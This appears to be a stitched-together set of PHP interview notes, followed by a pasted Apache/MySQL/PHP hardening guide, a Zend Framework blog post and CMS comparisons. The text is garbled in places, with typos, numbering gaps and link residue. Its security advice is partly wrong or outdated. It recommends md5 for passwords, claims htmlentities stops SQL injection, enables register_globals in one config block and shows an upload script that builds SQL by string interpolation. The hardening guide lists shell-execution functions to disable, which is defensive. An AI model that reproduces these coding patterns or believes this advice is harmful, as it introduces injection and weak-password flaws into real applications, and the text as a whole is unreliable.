   die('An unknown error occurred: ' . $e->getMessage());


E_STRICT Error Level
There is a new error level defined as E_STRICT (value 2048). It is not included in E_ALL, if you wish to use this new level you must specify it explicitly. E_STRICT will notify you when you use depreciated code. I suggest you enable this level so you can always stay on top of things.

Foreach Construct and By-Reference Value
The foreach construct now lets you define the 'value' as a reference instead of a copy. Though I would suggest against using this feature, as it can cause some problems if you aren't careful:
PHP Code:
foreach($array as $k => &$v) {
    // Nice and easy, no working with $array[$k] anymore
    $v = htmlentities($v);
}

// But be careful, this will have an unexpected result because
// $v will still be a reference to the last element of the $array array
foreach($another_array as $k => $v) {





New Functions
PHP5 introduces a slew of new functions. You can get a list of them from 

New Extensions
PHP5 also introduces new default extensions.
·    SimpleXML          for easy processing of XML data
DOM          and    extensions are available for a much improved XML-consuming experience. A breath of fresh air after using DOMXML for PHP4!
PDO          for working with databases. An excellent OO interface for interacting with your database. Php data object
Hash          gives you access to a ton of hash functions if you need more then the usual md5 or sha1.

Compatibility Issues
The PHP manual has a list of changes that will affect 
·    array_merge() will now give you warnings if any of the parameters are not arrays. In PHP4, you could get away with merging non-arrays with arrays (and the items would just be added if they were say, a string). Of course it was bad practice to do this to being with, but it can cause headaches if you don't know about it.
As discussed above, objects are now passed by references. If you want to copy a object, make sure to use the clone keyword.
get_*() now return names as they were defined. If a class was called MyTestClass, then get_class() will return that -- case sensitive! In PHP4, they were always returned in lowercase.

There are several differences between PHP4 and PHP5.
1.Unified constructor and Destructor.
2.Exception has been introduced.
3.New error level named E_STRICT has been introduced.
4.Now we can define full method definintions for a abstract
class.
4.Within a class we can define class constants.
5.we can use the final keyword to indicate that a method
cannot be overridden by a child

24.environment variables in php

Environment variable definition
PHP environment variables allow your scripts to glean certain types of data dynamically from the server. This supports script flexibility in a potentially changing server environment. For example, the SITE_HTMLROOT variable provided by (mt) Media Temple will automatically provide the correct path to your document root on any (gs) Grid-Service server, without necessitating any changes in your script. (mt) Media Temple provides several dozen variables like this for your convenience.
Use and examples
You can access these variables using the $_SERVER and $_ENV arrays.
For example, if you want to use the SITE_HTMLROOT variable mentioned above, you can create a variable in your PHP script similar to the following:
environment.php
$site_path_var = $_SERVER["SITE_HTMLROOT"];
This will create a variable with a value similar to the following:
If you want to test the output of the variable, add an echo statement to your PHP script. For example:
environment.php
$site_path_var = $_SERVER["SITE_HTMLROOT"];
echo $site_path_var;

Setting your own variables
In PHP
On the (gs) Grid-Service, you can set your own environment variables that will last within the session that created them. For example, if you want to use a custom environment variable in a script, you can add the following lines to create and then use a variable:
environment.php
$_ENV["MYENV"]="new_variable";
$new_variable_var = $_ENV["MYENV"];
Note: These environment variables will not last outside the session in which they were created.
In .htaccess
You can also have Apache set environment variables for use in your scripts, via a .htaccess file, using SetEnv or in Rewrite rules. These variables must start with 'HTTP_' for security purposes.
25.Magic methods in php
Magic Methods
26.HOW RUN php script at coomand line
27.Functionalities=> curl page post,XML post, webservice
Curl:
It allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

$url = "http://jsonip.appspot.com/?callback=?";
            $curlData =Common::Ipcurl($url);
function Ipcurl( $url, $cookiefile = '', $pmSSL = FALSE, $pmCert = FALSE)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_GET, 1);
        curl_setopt ($ch, CURLOPT_POSTFIELDSIZE, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   
        if( $cookiefile != '' ) {
                    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
                    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
                }
        if($pmSSL == TRUE){
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,$pmCert); // You should be able to set this to TRUE if your SSL certificate

            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,TRUE);
        }
        $result = curl_exec($ch);
        $info = curl_getinfo ($ch);
        if (curl_errno($ch)) {
                $error = curl_error($ch);
        }
            curl_close($ch);   
        return $result.'||'.$info['http_code'];
}

28. ob_start()
ob_start ― Turn on output buffering
This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.
The contents of this internal buffer may be copied into a string variable using ob_get_contents()   . To output what is stored in the internal buffer, use  . Alternatively, ob_end_clean()    will silently discard the buffer contents.
29. Header Functions
The header() function sends a raw HTTP header to a client.
It is important to notice that header() must be called before any actual output is sent (In PHP 4 and later, you can use output buffering to solve this problem):
header(string,replace,http_response_code)
Pdf download
<?php
header("Content-type:application/pdf");

// It will be called downloaded.pdf
header("Content-Disposition:attachment;filename='downloaded.pdf'");

// The PDF source is in original.pdf
readfile("original.pdf");
?>

<html>
<body>

...
...
30.Session_start()
session_start ― Initialize session data
bool session_start ( void )
session_start() creates a session or resumes the current one based on a session identifier passed via a GET or POST request, or passed via a cookie.
To use a named session, call     before calling session_start().
When session.use_trans_sidHYPERLINK "http://www.php.net/manual/en/session.configuration.php" \l "on.use-trans-sid" session.    is enabled, the session_start() function will register an internal output handler for URL rewriting.
If a user uses ob_gzhandler or similar with ob_start()HYPERLINK "http://www.php.net/manual/en/function.ob-start.php" ob_start()     , the function order is important for proper output. For example, ob_gzhandler must be registered before starting the session.
31. session save path
session_save_path ― Get and/or set the current session save path
string session_save_path ([ string $path ] )
session_save_path() returns the path of the current directory used to save session data.
Session data path. If specified, the path to which data is saved will be changed. session_save_path() needs to be called before session_start()  for that purpose.
32. Run time PHP.ini settings
ini_set ― Sets the value of a configuration option
string ini_set ( string $varname , string $newvalue )
Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.
33. Apachi - necessary configurations
short_open_tag = On
php_value register_globals 1
register_long_arrays = On

php_value name value

php_flag name on|off
php_admin_value name value
php_admin_flag name on|off

34. OOPS in PHP
Oops! What an excellent concept. Nowadays in software filed any latest language has implemented, it should be partially are fully supported this oops concept. OOPs, let c with real time examples. Six important factors are using this concept are,
1.    Class, 2.Objects, 3.Abstractions, 4.Encapsulation, 5.Polymorphism, and 6.Inheritance.


1. Car Vs Class
Car: Collection of several properties like staring, break, clutch, etc each things are used for particular purpose, all these properties are differ from each car like some car have power staring ,however we have called it's a car.

Class: it's a collection of functions and variables. The functions and variables are differing from each class. Each function is used for particular purpose however we have called it's a class

2. Car Key Vs Object
Car Key: key is used for run the car. So many dummy keys can use for run a car.

Object: Object is used for run the class or invokes the class. So many objects can create for a single class.

3. Birds Vs Abstractions
Birds: we invented flight based on the mechanism of Birds. So flight is derived form the base of birds.

Abstraction: Abstraction is a way to remove the association of the behavior of an object with the actual details behind the scenes which implement that object's behavior. This 'abstraction' is usually accomplished through the use of base classes with virtual functions; each derived function provides the details that implement the behavior behind that abstraction.
4. Pen Vs Encapsulation
Pen: Ink is the important component in pen but it is hiding by some other material
Encapsulation: is a process of binding or wrapping the data and the codes that operates on the data into a single entity. This keeps the data safe from outside interface and misuse. One way to think about encapsulation is as a protective wrapper that prevents code and data from being arbitrarily accessed by other code defined outside the wrapper.
5. Crocodile Vs Polymorphism
Crocodile: live indifferently on land or in the water. In water it's Moment very fast compare to land. An animal lives in different character in different place.
Polymorphism: a single function or single operator has different character in different place.

6. Human heredity Vs Inheritance
Human heredity:
35. Form tag for file upload, upload function
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
·    $_FILES["file"]["name"] - the name of the uploaded file
$_FILES["file"]["type"] - the type of the uploaded file
$_FILES["file"]["size"] - the size in bytes of the uploaded file
$_FILES["file"]["tmp_name"] - the name of the temporary copy of the file stored on the server
$_FILES["file"]["error"] - the error code resulting from the file upload
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Stored in: " . $_FILES["file"]["tmp_name"];
    }
  }
else
  {
  echo "Invalid file";
  }
?>
36. How to check folder permission for file uploading
clearstatcache();
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);

bool chmod ( string $filename , int $mode )
Attempts to change the mode of the specified file to that given in mode.
<?php
chmod("/somedir/somefile",755);//decimal; probably incorrect
chmod("/somedir/somefile","u+rwx,go+rx");// string; incorrect
chmod("/somedir/somefile",0755); //octal; correct value of mode
?>
<?php
//Read and write for owner, nothing for everybody else
chmod("/somedir/somefile",0600);

//Read and write for owner,read for everybody else
chmod("/somedir/somefile",0644);

//Everything for owner, read and execute for others
chmod("/somedir/somefile",0755);

//Everything for owner,read and execute forowner's group
chmod("/somedir/somefile",0750);
?>
Returns TRUE on success or FALSE on failure.

37. Image upload- db data types

BLOB is a binary large object that can hold a variable amount of data. MySQL have four BLOB data types, they are :
    TINYBLOB
    BLOB
MEDIUMBLOB
    LONGBLOB
Since BLOB is limited to store up to 64 kilobytes of data we will use MEDIUMBLOB so we can store larger files ( up to 16 megabytes ).
sample code:
<?php
if(isset($_POST['upload']) && $_FILES['userfile']['size'] > 0)
{
$fileName = $_FILES['userfile']['name'];
$tmpName = $_FILES['userfile']['tmp_name'];
$fileSize = $_FILES['userfile']['size'];
$fileType = $_FILES['userfile']['type'];

$fp = fopen($tmpName, 'r');
$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);

if(!get_magic_quotes_gpc())
{
  $fileName = addslashes($fileName);
}
include 'library/config.php';
include 'library/opendb.php';

$query = "INSERT INTO upload (name, size, type, content ) ".
"VALUES ('$fileName', '$fileSize', '$fileType', '$content')";
mysql_query($query) or die('Error, query failed');
include 'library/closedb.php';

echo "<br>File $fileName uploaded<br>";
}
?>
38. Image Resizing

$uploadedfile = $_FILES['file']['tmp_name'];
$src = imagecreatefrompng($uploadedfile);
list      ($width,$height)=getimagesize ($uploadedfile);
$newwidth1=25;
$newheight1=($height/$width)*$newwidth1;
$tmp1=imagecreatetruecolor($newwidth1,$newheight1);
imagecopyresampled($tmp1,$src,0,0,0,0,$newwidth1,$newheight1,$width,$height);
$filename1 = "images/small". $_FILES['file']['name'];
imagejpeg($tmp1,$filename1,100);
imagedestroy($tmp1);
39. explode & split difference
Split - Splits string into array by regular expression.
Explode - Split a string by string

40. Array merge & array combine difference
array_merge ― Merge one or more arrays
array_combine ― Creates an array by using one array for keys and another for its values
<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a","b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>
result
Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
   [a] => 2
   [b] => 3
)
41. Html entities & html special chars?
htmlentities ― Convert all applicable characters to HTML entities
<?php
$str = "A 'quote' is <b>bold</b>";

//Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs:A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str,ENT_QUOTES);
?>

htmlspecialchars ― Convert special characters to HTML entities
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>
42. is possible for calling other domain function usiong AJAX?
no
43. Html parser & XML parser difference
extract contents from html elements
 // Create DOM from URL or file
$html = file_get_html('http://www.google.com/');

// Find all images
foreach($html->find('img') as $element)
    echo $element->src . '<br>';

// Find all links
foreach($html->find('a') as $element)
    echo $element->href . '<br>';

 XML Parser
To read and update - create and manipulate - an XML document, you will need an XML parser.
There are two basic types of XML parsers:
•    Tree-based parser: This parser transforms an XML document into a tree structure. It analyzes the whole document, and provides access to the tree elements. e.g. the Document Object Model (DOM)
•    Event-based parser: Views an XML document as a series of events. When a specific event occurs, it calls a function to handle it
The Expat parser is an event-based parser.
44. web server
Web server can refer to either the hardware (the computer) or the software (the computer application) that helps to deliver content that can be accessed through the Internet.

The most common use of Web servers is to host Web sites but there are other uses like data storage or for running enterprise applications.
The primary function of a web server is to deliver web pages on the request to clients. This means delivery of HTML documents and any additional content that may be included by a document, such as images, style sheets and JavaScripts.
45. Security fucntions in php

1) mysql_real_escape_string()
 This function is very useful for preventing from
  . This function adds backslashes to the special characters like quote , double quote , backslashes to make sure that the user supplied input are sanitized before using it to query. But, make sure that you are connected to the database to use this function.
2) addslashes(addslashes(    ) – This function works similar as mysql_real_escape_string(). But make sure that you don’t use this function when “magic_quotes_gpc” is “on” in php.ini. When “magic_quotes_gpc” is on in php.ini then single quote(‘) and double quotes (“) are escaped with trailing backslashes in GET, POST and COOKIE variables. You can check it using the function “get_magic_quotes_gpc()” function available in PHP.
3) htmlentities())      – This function is very useful for to sanitize the user inputted data. This function converts the special characters to their html entities. Such as, when the user enters the characters like “<” then it will be converted into it’s HTML entities < so that preventing from XSS and SQL injection attack.
4) strip_tags()    – This function removes all the HTML, JavaScript and php tag from the string. But you can also allow particular tags to be entered by user using the second parameter of this function. For example,
echo strip_tags(“<script>alert(‘test’);</script>”);
will output
alert(‘test’);
5) md5()      – Some developers store plain password in the database which is not good for security point of view. This function generates md5 hash of 32 characters of the supplied string. The hash generated from md5() is not reversible i.e can’t be converted to the original string.
6) sha1()  – This function is similar to md5 but it uses different algorithm and generates 40 characters hash  of a string compared to 32 characters by md5().
7) intval() Please don’t laugh. I know this is not a security function, it is function which gets the integer value from the variable. But you can use this function to secure your php coding. Well, most the values supplied in GET method in URL are the id from the database and if you’re sure that the supplied value must be integer then you can use this function to secure your code.

Learn more about
# SQL Injection
# Cross Site Scripting
# Web Security
# Directory Traversal
# Ajax Application Security
Ref: http://www.acunetix.com/websitesecurity/sql-injection.htm
46. How can you secure a login page

Before using encode function add randomized word with original password
if ($_COOKIE['MyLoginPage'] == md5($password.$randomword))
maintain the the random word for user wise
47. Frequently  used PHP String functions, array functions
String Functions:
 -substrr Return part of a string
trimm     -Strip whitespace (or other characters) from the beginning and end of a string
strposs  - Find position of first occurrence of a string
strrev  - Reverse a string
strstr   - Find first occurrence of a string
strlen   -Get string length
implode - Join array elements with a string
echo - Output one or more strings
explode - Split a string by string

Array Functions
----------------
array_combine - Creates an array by using one array for keys and another for its values
array_flip - Exchanges all keys with their associated values in an array
array_key_exist -  Checks if the given key or index exists in the array
array_keys -   Return all the keys or a subset of the keys of an array
array_push -   Push one or more elements onto the end of array
array_reverse  -    Return an array with elements in reverse order
array_sum -   Calculate the sum of values in an array
array_unique -     Removes duplicate values from an array
asort -   Sort an array and maintain index association
count -   Count all elements in an array, or something in an object
sizeof -    Alias of count
shuffle  -    Shuffle an array
48. How can you perform DB search using PHP/MYSQL
Mysql: LIKE
strcmp ― Binary safe string comparison
similar_text  -  Calculate the similarity between two strings
soundex  -  Calculate the soundex key of a string
levenshtein - Calculate Levenshtein distance between two strings
metaphone  Calculate the metaphone key of a string

49.How to detect the datatype for php variables?
gettype ($variable)
also we can use
is_bool() Checks if a variable is a BOOLEAN
is_string() Checks if a variable is a STRING
is_numeric() Checks if a variable is a NUMERIC STRING
is_int() Checks if a variable is an INTEGER
 is_array() Checks if a variable is an ARRAY
is_object() Checks if a variable is an OBJECT
 is_null() Checks if a variable is NULL
is_float() Checks if a variable is a FLOAT

50.ob_clean()

ob_clean ― Clean (erase) the output buffer
This function discards the contents of the output buffer.
This function does not destroy the output buffer like ob_end_clean()  does.
ob_end_clean ― Clean (erase) the output buffer and turn off output buffering
This function discards the contents of the topmost output buffer and turns off this output buffering. If you want to further process the buffer's contents you have to call ob_get_contents()   before ob_end_clean() as the buffer contents are discarded when ob_end_clean() is called.
52.How to find out no of arguments passed in a function
<?php
function foo()
{
 $numargs = func_num_args();
 echo "Number of arguments: $numargs\n";
}
foo(1, 2, 3);
?>
O/p
Number of arguments: 3
53.Persistent connection
Persistent connections are SQL links that do not close when the execution of your script ends.
When a persistent connection is requested, PHP checks if there's already an identical persistent connection (that remained open from earlier).
Persistent connections are efficient if the overhead to create a link to your SQL server is high, for example because the web server does not run on the same computer as the database server.

Persistent connections do not give you any functionality that is not possible with non-persistent connections.
They were designed to have one-to-one mapping to regular connections. You should always be able to replace persistent connections with non-persistent connections.
Dis Advantages
In PDO, a connection can be made persistent using the PDO::ATTR_PERSISTENT attribute. According to the php manual, these connections are not closed at the end of the script, but are cached and re-used when another script requests a connection using the same credential. The persistent connection cache allows someone to avoid the overhead of establishing a new connection every time a script needs to talk to a database, resulting in a faster web application.

The manual also recommends not to use persistent connection while using PDO ODBC driver, because it may hamper the ODBC Connection Pooling process.

So apparently there seems to be no drawbacks of using persistent connection in PDO, except in the last case. However., I would like to know if there is any other disadvantages of using this mechanism, i.e., a situation where this mechanism results in performance degradation or something like that.

54.Encript/decrypt functions
md5() -Message digest algorithm by RSA, it's derived usiong 5 steps
md5 ( string $str [, bool $raw_output = false ] )
If the optional raw_output is set to TRUE, then the md5 digest is instead returned in raw binary format with a length of 16.

crypt() ― One-way string hashing
crypt() will return a hashed string using the standard Unix DES-based algorithm or alternative algorithms that may be available on the system.
Some operating systems support more than one type of hash. In fact, sometimes the standard DES-based algorithm is replaced by an MD5-based algorithm.
base64_encode ― Encodes data with MIME base64
string base64_encode ( string $data )
Encodes the given data with base64.
This encoding is designed to make binary data survive transport through transport layers that are not 8-bit clean, such as mail bodies.
Base64-encoded data takes about 33% more space than the original data.
base64_decode ― Decodes data encoded with MIME base64
string base64_decode ( string $data [, bool $strict = false ] )
Decodes a base64 encoded data.

55.How to delete the file
unlink()   - Deletes a file
unset()  - Unset a given variable
56.Errors and it's types in php
•    E_ERROR: A fatal error that causes script termination
E_WARNING: Run-time warning that does not cause script termination
E_PARSE: Compile time parse error.
E_NOTICE: Run time notice caused due to error in code
E_CORE_ERROR: Fatal errors that occur during PHP's initial startup (installation)
E_CORE_WARNING: Warnings that occur during PHP's initial startup
E_COMPILE_ERROR: Fatal compile-time errors indication problem with script.
E_USER_ERROR: User-generated error message.
E_USER_WARNING: User-generated warning message.
E_USER_NOTICE: User-generated notice message.
.E_STRICT: Run-time notices.
E_RECOVERABLE_ERROR: Catchable fatal error indicating a dangerous error
•    E_ALL: Catches all errors and warnings
PHP Error type - May 19, 2009 at 11:30 pm by Rajmeet Ghai
What are the different types of Errors in PHP?
There are three basic types of runtime errors in PHP:
1Notices:
These are trivial, non-critical errors. that does not terminate script .
Condition:
1- Accessing a variable that not define.
Warnings:
These are more serious errors
Condition:
1-attempting to include() a file which does not exist.
Fatal errors:
These are critical errors that terminate script and stop
Condition:
1-instantiating an object of a non-existent class
2- Calling a  non-existent function
3-Missing semicolon
4-missing braces
5- Destroyed DOM
PHP Exception Handling
Exception handling is used to change the normal flow of the code execution if a specified error (exceptional) condition occurs. This condition is called an exception.
<?php
//create function with an exception
function checkNum($number)
  {
  if($number>1)
    {
    throw new Exception("Value must be 1 or below");
    }
  return true;
  }

//trigger exception in a "try" block
try
  {
  checkNum(2);
  //If the exception is thrown, this text will not be shown
  echo 'If you see this, the number is 1 or below';
  }

//catch exception
catch(Exception $e)
  {
  echo 'Message: ' .$e->getMessage();
  }
?>

O/P
Message: Value must be 1 or below

57.SSL
 Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographic protocols that provide communication security over the Internet.[1] TLS and SSL encrypt the segments of network connections above the Transport Layer, using asymmetric cryptography for privacy and a keyed message authentication code for message reliability.
58.PEAR
What is PEAR?
PEAR is short for "PHP Extension and Application Repository" and is pronounced just like the fruit. The purpose of PEAR is to provide:
      A structured library of open-source code for PHP users
      A system for code distribution and package maintenance
      A standard style for code written in PHP, specified here
      The PHP Extension Community Library (PECL), see more below
      A web site, mailing lists and download mirrors to support the PHP/PEAR community

PEAR is a community-driven project governed by its developers. PEAR's governing bodies are subdivided into the PEAR Group, Collectives, and a President. PEAR's constitution (adopted in March 2007) defining these groups is documented here. The PEAR project was founded in 1999 by Stig S. Bakken and quite a lot of people have joined the project.
59.Timestamp
PHP time stamp is a numeric value in seconds  between the time at present and the value at Unix Epoch (January 1 1970 00:00:00 GMT).   This time of January 1 1970 00:00:00 GMT is taken as base for all time stamp calculations
60.Exec and shell_exec
exec ― Execute an external program
shell_exec ― Execute command via shell and return the complete output as a string



Security Hints for PHP/MySQL Applications
Apache Server Security

This page provides some geneal hints for Apache servers running PHP applications. I recommend to consider them for ConfTool installations and they are probably useful for most other productive environments with PHP and MySQL.
Access to Backup Files

It is advisable to block access to all backup files. If these are for instance PHP files, they are usually not executed and may reveal parameters like the password for your mysql database.

To block the access to backup files with the extensions "bak", "BAK" and "~" use the following lines in your httpd.conf file:

<FilesMatch "(\.bak|\.BAK|~)$">
  order deny,allow
  deny from all
</FilesMatch>

Example:

<Directory "/home/conftool/">
  # For Conftool you need none of the options directive, if you do not
  # use the .htaccess file, but make the conftool settings in php.ini
  options none

  # Controls who can get stuff from this server.
  order deny,allow
  allow from all

  # Prevent access to backup files!
  <FilesMatch "(\.bak|\.BAK|~)$">
      order deny,allow
      deny from all
  </FilesMatch>
</Directory>



http://www.zdziarski.com/projects/mod_evasive/
MySql Database Security
Limit Network Access

If not required, block network access to the mysql database server from other hosts.

One way to limit any network access to your MySQL server is adding the parameter

skip-networking

to your mysql configuration file "my.cnf" (usually in /etc/ or C:/Windows/). Applications now have to use a socket file to access the MySQL deamon.

If disabling network access causes compatibility issues with some of your applications, you may also use

bind-address = 127.0.0.1

to limit access to localhost only.
Update Default Root User

Many distributions install a "root" MySQL user without any password. Make sure to set a password for the "root" user after a new server installation.

From the command line call

mysql mysql -u root

In the mysql client you have to enter two commands:

UPDATE user SET Password=PASSWORD('myNewPassword') WHERE user='root';
flush privileges;

The second command reads the new password into the mysql server.

Alternatively you can also use the "mysqladmin tool"

mysqladmin -u root password

You will be prompted for the password.

If you get the error message

mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'a'localhost' (using password: NO)'

a password for the user root is already set.
PHP Security Settings

PHP is not an "unsave" programming language, but there are some PHP settings that are recommended to reduce the vulnerability of most PHP installations. They are set in your php.ini file, some can also be set in the apache configuration file or your local .htaccess file. Please consider that other PHP scripts on your server might have problems with the settings recommended here.
DISABLE_FUNCTIONS

Some PHP functions can make your system vulnerable, as they provide access to system ressources, parameters or files.

Such are:

show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, proc_nice

Conftool makes use of two of these functions:

    * "exec" is used on windows systems to check if the domain name of an email address exists. All parameters are sanitized before the function call. (The function is also used in some custom ConfTool libraries to access credit card gateways.)
    * "popen" is used in the "phpmailer" library to send emails. You can alternatively use the build-in php function to send mails, but it is less powerful.

Therefore if you use one of the features above, you should only disable the following functions in the file "php.ini":

disable_functions = show_source, system, shell_exec, passthru, phpinfo, proc_open, proc_nice

REGISTER_GLOBALS

The switch

register_globals = Off

should always be set, as otherwise all http get and post variables are directly accessible as global variables in the PHP application. This is a potential security problem for any PHP application. I recommend not to use any PHP application that requires "register_globals" to be on.
ALLOW_URL_FOPEN

allow_url_fopen = Off

This should be set for most servers. It prevents that scripts can load php code from other web servers, a potential security issue.

allow_url_include = Off

Since PHP 5.2 the setting allow_url_include allows to disable remote addresses for the commands "include" and "require" only. So if some of your scripts require allow_url_fopen, the above settings might be an alternative.
DISPLAY_ERRORS

display_errors = Off

This setting will turn off the output of PHP error messages to your users and possible attackers. It should always be set to "off" in a productive environment. You can (and should) still log (and analyze) errors in the server's error_log by setting:

log_errors = On

OPEN_BASEDIR

Syntax: open_basedir = "/path/to/conftool"

Limits the execution of php files on your Web server. Files outside the

given path(s) are not executed. It is always recommended to use it and to restrict php to those directories where known applications reside.

Example for Windows:

open_basedir = "D:/www/conftool/;C:/Program Files/Apache Group/Apache/htdocs/"

Unix/Linux example:

open_basedir = "/home/conftool/:/srv/www/"

SAFE_MODE

safe_mode = On/Off

Safe Mode restricts the access of php scripts on your web server. It is currently not recommended to use it with ConfTool as e.g. timeouts cannot be set and the access to uploaded files is limited. ConfTool does somehow work with safe mode, but there are many potential problems (e.g. with bulk mails).
Hardened-PHP Project

The Hardened-PHP project provides two patches / extensions for PHP that can improve the security of all PHP installations:

    * The hardening patch adds security hardening features to the PHP core to protect servers against a number of well known problems in PHP applications and against potential unknown vulnerabilities.
    * Suhosin is an extension for PHP to protect servers and users from known and unknown flaws in PHP applications and the PHP core by adding new security filters and PHP security settings.

Both patches work well with ConfTool. I recommend the Suhosin extension for any productive environment running PHP applications.
Conclusion

Security is not a state but a process. As PHP any MySQL are very popular systems, always keep track of recent developments and update your server settings. If you find any potential problems in ConfTool, please contact me immediately.


Zend Framework is an open-source software framework for PHP5. It has a flexible architecture that lets you build interactive web applications and web services effortlessly. One of its strengths is the highly modular Model-View-Controller design, which makes the code more reusable and easier to maintain and lets you focus on the big picture.
Model-view-controller is an architectural pattern used in software engineering. Complex computer applications present a large amount of data to the user. A developer often wishes to separate data (model) and user interface (view) concerns. This enables him to make changes to the user interface without affecting data handling, and reorganize data without changing the user interface. MVC solves this problem by introducing an intermediate component: the controller. The controller decouples data access and business logic from data presentation   and user interaction.
Zend Framework   has further enhanced PHP and improved its candidature for use within an enterprise environment. It aims to:
·    Provide a repository of high quality components that are actively supported.
·    Provide a complete system for developing web applications powered by PHP5.
·    Don’t change the PHP – it’s already a great platform.
·    Embrace collaboration and community to further advanced PHP5 programming.
·    Positively contribute to the PHP 5 ecosystem and the PHP collaboration project.
Advantages of Zend Framework include:
§       MVC application framework – Zend Framework’s model-view-controller architecture provides an industry best practice for Web application development. It enables the separation of business logic from user interface design.
§       Database support- Access multiple brands of RDBMS via a database-independent object-oriented interface. Databases supported include IBM DB2, MySQL, Oracle, Microsoft SQL Server, PostgreSQL and SQLite.
§       Internationalization – Zend Framework supports advanced yet simple solutions to develop PHP 5 Web applications for a global audience.
§       Web services – Use classes to publish and consume Web services and feeds in PHP.
§       Foundation Framework services – Zend Framework provides many other classes to make common application development tasks quick and easy. For example, solutions for email, sessions, authentication, logging, caching, filtering input, and others are included.
Built in the true PHP spirit, the Zend Framework delivers ease-of-use and powerful functionality. It implements best practices in connecting the application to databases   and networks. And so, it frees the developer to concentrate on user interactions and the business logic behind them.
All in all, Zend Framework provides much required “face-lift” to PHP and facilitates powerful solutions for building modern, robust, and secure websites.

Why I like the Zend Framework
6th February 2007
I’ve been researching the Zend Framework   for PHP in relation to a project I’m working on and I have to say I’m now a fan of it. There’s lots to like about it, and some to dislike about it too. But to me the best aspect of it is the flexibility it offers. Unlike some frameworks, you don’t have to use the complete package. Instead you can pick and choose which bits to use and plug it together with your own classes to get a complete product that meets your particular needs.
For myself, I’m using the controller and view aspects of the framework with a few minor additions of my own. Alongside this I’m using the model set-up that I’ve evolved over a number of projects, with the addition of a few components from the Zend_Framework. Slotting the framework into my current workflow has proven remarkably easy.
If I was to make one complaint it would be about the documentation. It has some gaps in it at the moment but it’s early days yet. Much of the detail I’ve discovered has been by inspecting the source code, but the code itself is clearly structured and well commented so it’s relatively easy to rummage through and find what you’re looking for.
If you’re looking for a PHP framework it’s worth checking out more than one since they all have different advantages and disadvantages. Here’s a short list to consider.
·    Zend Framework
·    CakePHP
·    Symphony
·    Solar

SOA
The aim of the SOA PHP project is to create, as a community, an infrastructure that simplifies the development of PHP applications in a service oriented architecture environment (SOA).
This project is based on independent technologies that support this goal:

·    Service Component Architecture (SCA)   provides a very easy way to create and access services
·    Service Data Object (SDO)   provides a uniform interface for handling different forms of data and provides a mechanism for tracking changes in data.
Advantages & disadvantages of drupal
Advantages of the Drupal way of doing things:

1. It's consistent. For example, if you always use the "correct" way to print out usernames, changing the style of those printed usernames in one place changes them across the entire site.
2. It's integrated.
3. It's convenient.

But there are some disadvantages:

1. It's slow(er).
2. It uses memory

CMS -Comparisions
TYPO3
·    rich admin / editor interface
·    native workspaces & versionning
·    powerful permission system
·    needs good PHP/JS skills
Drupal
·    top of the top for flexibility and customization
·    simple and functional core framework + jQuery as main JS framework
·    admin interface too much simplilstic for sites with huge data
Wordpress
·    intuitive interface / code
·    good for blogs and simple sites
Joomla!
·    good for small and medium size sites, could take to much time for complex sites
·    some modules are commercial
Drupal Advantage and Disadvantages
Out of all CMS for web content management most of professionals prefers Drupal. It is cause of many reasons. One the biggest reason is less code, effective and bullet proof security and flexibility for build an online application. Another reason to choose Drupal is because Drupal is a complete frame work for online applications. Here is the general over view of advantages to use Drupal for your website and disadvantages.
Advantages of Drupal – Open Source Content Management System
1. It has ultimate customizing ability and out of the box easy control panel and you don’t have to program to build a website.
2. Drupal is proven and secure. It has been several years thousands of web sites are based on Drupal. So it is secure enough system to use.
3. Drupal have very strong community support. It is an Open Source Software and you can get thousand of application which we can call plug-ins are available from various community contributors. We have many type of plug-ins like for content management for administrative section and for search engine optimization and e-commerce module which can allow you to connect an online payment systems and shopping carts. Another part of Drupal community is the themes of Drupal. Theme can change appearance of your websites and make it better to present. You can found thousand of paid and free themes, plug-ins.
